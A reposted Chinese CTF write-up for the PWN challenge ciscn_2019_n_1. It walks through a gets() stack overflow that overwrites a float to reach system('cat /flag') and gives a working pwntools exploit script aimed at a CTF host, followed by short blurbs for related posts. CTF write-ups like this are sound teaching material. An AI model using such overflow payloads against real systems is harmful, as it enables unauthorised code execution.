【CTF】ciscn_2019_n_1"

admin 2026-11-01 01:21:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【CTF】ciscn\_2019\_n\_1

原创

devildollking
devildollking

熔城Sec

2026年10月27日 09:00
辽宁

去阅读

01

题目简介

  • 题目名称:ciscn\_2019\_n\_1
  • 题目平台:CTF²
  • 题目类型:PWN****

02

解题步骤

下载附件,使用checksec查看文件属性

下载附件后,使用 IDA 打开程序

int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 2, 0LL);  func();  return 0;}

这里有个func函数,我们追踪一下

int func(){  int result; // eax  char v1; // [rsp+0h] [rbp-30h]  float v2; // [rsp+2Ch] [rbp-4h]
  v2 = 0.0;  puts(\"Let's guess the number.\");  gets(&v1);  if ( v2 == 11.28125 )    result = system(\"cat /flag\");  else    result = puts(\"Its value should be 11.28125\");  return result;}

我们发现这里存在get方法,本题的解法应该还是栈溢出,v1位于rbp-0x30。v2位于rbp-0x4。所以它们在栈上的距离是v2地址-v1地址=0x2c

if ( v2 == 11.28125 )    result = system(\"cat /flag\");else    result = puts(\"Its value should be 11.28125\");

我们通过 gets把v2覆盖成11.28125,程序直接执行system(\"cat /flag\");浮点数 11.28125 的 IEEE 754 单精度十六进制表示是:0x41348000,所以可以构造payload

from pwn import *
context.log_level = 'debug'
HOST = \"c77a447046957df6712a8929.tcp-ctf2.dasctf.com\"PORT = 9999
p = remote(HOST, PORT, ssl=True, sni=HOST)p.recvuntil(b\"Let's guess the number.\")
payload = b'A' * 0x2c + p64(0x41348000)p.sendline(payload)
print(p.recvall(timeout=5))

    【CTF】ciscn_2019_n_1" 网络安全文章

    【CTF】ciscn_2019_n_1"

    本文为CTF题目ciscn_2019_n\\_1的解题writeup,属于PWN类型栈溢出利用。通过checksec和IDA分析发现gets函数存在栈溢出漏洞,可覆盖浮点数变量v2为11.28125,从而执行system(cat/flag)获取flag。文章提供了完整exp脚本,步骤清晰,可操作性强,对CTF学习者具有参考价值。
    【CTF】jarvisoj_level0" 网络安全文章

    【CTF】jarvisoj_level0"

    本文为CTFPWN题目jarvisoj_level0的解题记录。题目开启了NX保护,通过IDA分析发现vulnerable_function存在栈溢出漏洞,可利用read函数覆盖返回地址跳转到后门函数callsystem执行system(‘/bin/sh’)。文章提供了详细的栈帧分析和利用SSL连接的完整payload构造方法,可操作性强,适合CTF入门学习。
    参编单位征集|吉利汽车车载边缘网络通信大会暨《车载边缘网络技术白皮书》启动会定档11月浙江宁波" 网络安全文章

    参编单位征集|吉利汽车车载边缘网络通信大会暨《车载边缘网络技术白皮书》启动会定档11月浙江宁波"

    吉利汽车联合产业链伙伴将于2026年11月20日在宁波举办车载边缘网络通信大会,并启动《车载边缘网络技术白皮书》编制。白皮书将覆盖RCP、10BASE-T1S等多项技术,聚焦六大研究方向,已有超80家单位参与,旨在推动车载边缘网络技术从验证走向产业落地。
    评论:0   参与:  0